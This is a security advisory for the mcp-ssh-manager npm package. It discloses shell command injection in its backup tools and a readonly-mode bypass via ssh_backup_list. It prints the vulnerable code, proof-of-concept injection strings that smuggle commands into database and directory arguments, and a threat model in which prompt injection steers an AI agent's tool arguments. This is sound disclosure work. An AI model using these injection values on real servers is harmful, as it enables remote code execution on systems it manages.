mcp-ssh-manager: Remote code execution (RCE) via command injection in the backup subsystem
Package Affected versions Patched versions Description Summary src/backup-manager.js builds shell command strings for the ssh_backup_* tools by concatenating caller-controlled tool arguments (database
Package
mcp-ssh-manager (npm)Affected versions
< 3.8.5Patched versions
3.8.5Description
Summary
src/backup-manager.js builds shell command strings for the ssh_backup_* tools by concatenating caller-controlled tool arguments (database, dbUser, dbPassword, dbHost, backupDir, paths, exclude, …) directly into the string with no shell escaping. The resulting string is passed to ssh.execCommand(), which runs it through the remote server's login shell. An argument that contains shell metacharacters (;, $(...), backticks, |) therefore executes arbitrary commands on the target server. This is a remote code execution (RCE) vulnerability: an attacker who controls the tool arguments gains arbitrary command execution on every remote server the MCP instance manages, running as the configured SSH user.
This is the same vulnerability class that was fixed for the database helpers in CVE-2026-77383 / GHSA-4jx9-2fwj-pg4j. That fix added a centralized shellQuote() and was applied to src/database-manager.js (the ssh_db_* tools) only. The parallel builders in src/backup-manager.js (the ssh_backup_* tools) were not covered and remain vulnerable in the current release, v3.8.0.
$ grep -c shellQuote src/database-manager.js src/backup-manager.js
src/database-manager.js:95 <- fixed (CVE-2026-77383)
src/backup-manager.js:0 <- NOT fixed
Affected component
- Package:
mcp-ssh-manager(npm), repositorybvisible/mcp-ssh-manager - Affected versions: <= 3.8.0 (latest at time of report)
- File:
src/backup-manager.js(all builders); reached from the tool handlers insrc/index.js - CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS command injection)
- Impact: Remote Code Execution (RCE) on managed remote servers — arbitrary OS command execution as the configured SSH user
Details
Every builder in src/backup-manager.js interpolates arguments without escaping. Example — buildMySQLDumpCommand:
let command = 'mysqldump';
if (user) command += ` -u${user}`;
if (password) command += ` -p'${password}'`; // single-quote only -> breakable with '
if (host) command += ` -h ${host}`;
command += ` ${database}`; // fully unquoted
if (compress) command += ` | gzip > "${outputFile}"`;
The tool handler passes tool arguments straight into the builder (no validation beyond z.string() type checking), and the returned string is executed on the remote host:
// src/index.js (ssh_backup_create, mysql branch)
backupCommand = buildMySQLDumpCommand({ database, user: dbUser, password: dbPassword, host: dbHost, ... });
const result = await ssh.execCommand(backupCommand); // remote login shell
SSHManager.execCommand() runs the string with this.client.exec(fullCommand, …) (ssh2), i.e. the remote sshd executes it via the user's shell, so ;, $(...), backticks and | are interpreted.
Reachable sinks (all confirmed)
| Tool | Attacker-controlled argument(s) | Builder / sink |
|---|---|---|
ssh_backup_create |
database, dbUser, dbPassword, dbHost, backupDir, paths, exclude |
buildMySQL/PostgreSQL/MongoDB/FilesBackupCommand, plus inline mkdir -p "${backupDir}", stat … "${backupFile}", buildSaveMetadataCommand, buildCleanupCommand |
ssh_backup_restore |
database, targetPath, connection params |
buildRestoreCommand → MySQL/PG/Mongo/Files restore builders |
ssh_backup_schedule |
schedule, database, paths, cronComment |
script written to the remote host + buildCronScheduleCommand (persistent, runs from cron) |
ssh_backup_list |
backupDir |
buildListBackupsCommand → find "${backupDir}" … |
Security-mode bypass (most critical)
ssh_backup_list is not listed in READONLY_BLOCKED_TOOLS and is not a COMMAND_BEARING_TOOLS, and its handler does not call applyServerPolicy at all. In src/policy.js, evaluatePolicy therefore returns { allowed: true } for it under both readonly and restricted modes. An operator who hardens a server to readonly (intending "the agent may never run commands here") can still be made to execute arbitrary commands on that server through the unescaped backupDir argument of ssh_backup_list. This mirrors the "ssh_db_list bypasses readonly/restricted" note in CVE-2026-77383.
Proof of concept
The following session imports the unmodified builders from the repository, shows the command string they generate for an attacker-controlled argument, and delivers that exact string to a real sshd over SSH exec (which is what ssh.execCommand() does internally). The injected command runs on the remote host.
$ node -p "require('./package.json').version"
3.8.0
$ node -e "import('./src/backup-manager.js').then(m=>console.log(m.buildMySQLDumpCommand(
{database:'appdb; id > /tmp/pwned.txt; #',user:'backup',host:'db.internal',
outputFile:'/tmp/app.sql.gz',compress:true})))"
mysqldump -ubackup -h db.internal -P 3306 --single-transaction --routines --triggers appdb; id > /tmp/pwned.txt; # | gzip > "/tmp/app.sql.gz"
# deliver over SSH exec (identical to ssh.execCommand)
$ ssh deploy@testhost "$CMD"; echo exit=$?
exit=0
$ ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy) <-- injected command executed on the remote host
Mode-bypass variant via ssh_backup_list (works on a readonly server):
$ node -e "import('./src/backup-manager.js').then(m=>process.stdout.write(
m.buildListBackupsCommand('/var/backups\"; id > /tmp/pwned.txt; echo \"', null)))"
find "/var/backups"; id > /tmp/pwned.txt; echo "" -name "*.meta.json" -type f | while read -r file; do cat "$file"; echo "---"; done
$ ssh deploy@testhost "$LST"; ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)
(See attached session.txt / live_repro.log for the full runs and poc.mjs for a standalone reproducer.)
mcp-ssh-manager-backup-rce-poc.zip
Impact
Remote Code Execution (RCE) — arbitrary OS command execution on the managed remote server, running as the configured SSH user — identical impact to CVE-2026-77383. In the default unrestricted mode this is reachable through ssh_backup_create, ssh_backup_restore, ssh_backup_schedule (the last also yields a persistent cron foothold) and ssh_backup_list. On servers hardened to readonly/restricted, ssh_backup_list still reaches it, bypassing the intended tool restriction.
Threat model
Consistent with CVE-2026-77383: the tool arguments are treated as untrusted. In an MCP deployment they are produced by the language model and can be steered by an indirect prompt injection (malicious content the agent reads) or by a malicious/compromised MCP client. No exploitation occurs when a fully trusted operator supplies only benign values.
Remediation
Apply the existing shellQuote() from src/database-manager.js to every argument interpolated by the builders in src/backup-manager.js (database, user, password, host, port, outputFile, outputDir, paths, exclude, database in restore, schedule/cronComment in the cron builder), and to the inline interpolations in the ssh_backup_* handlers in src/index.js (mkdir -p "${backupDir}", stat … "${backupFile}", echo '…' > "${metadataPath}"). Prefer passing values as argv where the transport allows it. Additionally, route ssh_backup_list through applyServerPolicy so it is subject to the same read-only semantics as the other backup tools.
References
- GHSA-qwwm-vrm9-4mw8
- https://nvd.nist.gov/vuln/detail/CVE-2026-129995
- bvisible/mcp-ssh-manager@d40daa8
- https://github.com/bvisible/mcp-ssh-manager/releases/tag/v3.8.5
Severity
High CVSS overall score This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS). / 10CVSS v3 base metrics
Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS v3 base metrics Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability. Attack complexity: More severe for the least complex attacks. Privileges required: More severe if no privileges are required. User interaction: More severe when no user interaction is required. Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope. Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user. Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user. Availability: More severe when the loss of impacted component availability is highest. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HEPSS score
Exploit Prediction Scoring System (EPSS) This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST. (69th percentile)Weaknesses
Weakness CWE-78Improper Neutralization of Special Elements used in an OS Command
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component. Learn more on MITRE.CVE ID
CVE-2026-129995GHSA ID
GHSA-qwwm-vrm9-4mw8Source code
bvisible/mcp-ssh-managerCredits
-
Woojisoo0425 Reporter
Uh oh!
There was an error while loading. Please reload this page.
See something to contribute? Suggest improvements for this vulnerability.